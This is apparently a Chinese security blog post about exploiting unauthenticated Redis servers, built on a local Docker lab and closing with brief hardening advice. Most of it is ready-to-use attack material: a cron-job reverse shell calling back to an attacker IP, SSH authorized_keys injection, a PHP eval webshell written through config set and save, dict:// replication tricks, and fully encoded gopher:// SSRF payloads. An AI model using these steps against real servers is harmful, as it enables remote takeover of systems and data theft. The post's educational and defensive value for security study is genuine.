Redis未授权
发表于:2025-08-14 | 分类: Web

Redis未授权

好早以前写的文章了

在之前打比赛时,遇到一个redis未授权访问的题目,搜搜索索写进去文件了,但是最后没搞出来,好可惜了,所以学了学Redis

漏洞前置基础

漏洞原理

Redis在默认情况下,会绑定0.0.0.0:6379,如果没有添加防火墙规则等相关策略,则Redis会暴露在公网,如果在没有密码认证(一般为空)情况下,会导致任意用户可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据

攻击者可以利用Redis自身提供config命令,进行文件操作,攻击者可以将自己的ssh公钥写入目标服务的/root/.ssh文件夹中authotrized_keys文件中,后续可以用对应私钥直接使用ssh服务登录目标服务器

漏洞条件

1. redis绑定在 0.0.0.0:6379,且没有添加防火墙规则等相关策略,直接暴露在公网 2. 没有密码认证,或已经知道密码,有条件能够远程登录redis服务
1
Redis 2.x,3.x,4.x,5.x

Redis常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
redis-cli -h ip -p 6379 -a passwd   # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
info # 查看相关redis信息
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
INCR score # 使用INCR命令将score的值增加1
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
mset k1 v1 k2 v2 k3 v3 #批量设置键值对
mget k1 k2 k3 #批量获取键值对
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";

Redis配置文件参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
port参数:
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

bind参数:
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.47.173 10.0.0.1,表允许192.168.47.17310.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。

save参数:
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass参数:
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

dir参数:
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename参数:
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config命令:
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

protected-mode参数:
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。


Redis getshell

我们看看如果通过Redis未授权访问来达到getShell

环境搭建

这里我直接用docker命令docker pull redis:5.0.12,用docker来搭建了一个漏洞环境

用dockerDesktop直接启动,6379端口映射到6380端口

使用工具进行连接(我这里用的是RedisDesktopManager)

GetShell方式

这里我们讲解redis未授权访问拿shell的3种方式

  1. 写入SSH 公钥 免密登录
  2. 向web中写入webshell
  3. 覆盖计划任务反弹shell

覆盖计划任务

首先我们的攻击机监听2333端口

1
2
3
4
5
6
7
8
9
#然后在redis的控制台中设置一个key为反弹shell的语句
#其中5个 * 号代表每分钟执行一次,后面为反弹shell的语句,换行是为了避免crontab的语法错误
set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.253.128/2333 0>&1\n\n"
#然后修改路径为/var/spool/cron/
config set dir /var/spool/cron/
#设置文件名为root
config set dbfilename root
#最后save保存进去
save

我们可以看到,这里已经成功写入了root计划任务,等着时间到计划任务即可(由于我这里搭建redis的系统功能不全,没有成功反弹)

这里我们看一下保存下来的文件长什么样子,就知道\n的作用是什么了

前面会有版本等垃圾信息,为了保证我们的crontab语法不被破坏,所以需要用回车键来避免

1
2
3
4
#cat root
REDIS0009 redis-ver5.0.12
redis-bits@ctime¡oused-mem8
aof-preamblexxx>\n\n* * * * * bash -i>& /dev/tcp/192.168.253.128/2333 0>&1\n\ndسC

写入SSH公钥免密登录

首先我们需要在攻击机上生成ssh公钥和私钥,密码设置为空

**ssh-keygen -t rsa**

将公钥写入key.txt当中(文件名无限制)

**(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt**

导入内容(防止乱码)

**cat key.txt| redis-cli -h 192.168.253.135 -x set putsshkey**

1
2
3
4
5
6
#设置路径
config set dir /root/.ssh
#设置文件名
config set dbfilename authorized_keys
#保存key值到root文件中
save

然后ssh -i id_rsa root@192.168.253.135远程登录目标系统

写入webshell远程连接服务器

1
2
3
4
5
6
7
8
#设置木马
set xxx "\n\n<?php eval($_GET['x']);?>\n\n"
#然后修改路径为网站默认路径
config set dir /var/www/html
#设置文件名
config set dbfilename shell.php
#最后save保存进去
save

利用条件:

1
2
3
4
知道网站根目录绝对路径(实际渗透过程中,这个方法通常需要搭配 phpinfo() 等方法使用。)
无需是 root 起的 Redis
可适用于 Windows(非 ssh 连接)
一般无需 flushall 清空数据库(一定情况下也需要)

主从复制

在某些情况下,可以使用redis主从复制来进行写入文件的操作
1
2
3
4
5
6
7
8
9
#在从机上设置主机
127.0.0.1:6380> slaveof 127.0.0.1 6381
OK
#在主机上设置键值对
127.0.0.1:6381> set sean sheep
OK
#在从机上获取键值对
127.0.0.1:6380> get sean
"sheep"
1
2
3
4
5
6
7
8
9
10
#先设置好保存的路径和保存的文件名
dict://192.168.33.134:6379/slaveof:192.168.33.131:6379
dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot
dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
#然后进入主机进行主从复制操作,方法和上面的一样
127.0.0.1:6379> set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n"
#再去web端执行save操作
dict://192.168.33.134:6379/save
#这样数据直接回同步到目标机,从而写入文件

SSRF+Redis未授权

gopher协议

gopher协议和dict协议一样需要使用redis内置的命令进行文件写入,只是payload更加复杂

我这里就用写入webshell来演示

下面这些是我们需要执行的命令

1
2
3
4
5
flushall
set 1 '<?php phpinfo();?>'
config set dir /tmp
config set dbfilename shell.php
save

这里我使用的是 https://github.com/firebroo/sec_tools 工具

将上述执行的命令写入redis.cmd

保存好后执行python2 redis-over-gopher.py

生成payload后,若在在bp中还需要将payload再进行一次url编码

1
2
3
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%30%0d%0a

gopher://127.0.0.1:6379/_%252a%2531%250d%250a%2524%2538%250d%250a%2566%256c%2575%2573%2568%2561%256c%256c%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%250d%250a%2531%250d%250a%2524%2531%2538%250d%250a%253c%253f%2570%2568%2570%2520%2570%2568%2570%2569%256e%2566%256f%2528%2529%253b%253f%253e%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2534%250d%250a%252f%2574%256d%2570%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2539%250d%250a%2573%2568%2565%256c%256c%252e%2570%2568%2570%250d%250a%252a%2530%250d%250a

redis安全配置

  1. 以普通账号启动redis服务
  2. 监听本地或特定主机
  3. 开启 protected-mode
  4. 更改默认6379端口
  5. 为redis设置密码(最好是强密码)

小结

还是挺有意思的一种漏洞,能够配合SSRF攻击内网的Redis未授权访问达到写入文件的目的,最后可以getShell拿到服务器权限
上一篇:
H2-JDBC-Attack
下一篇:
PostgreSQL-JDBC-Attack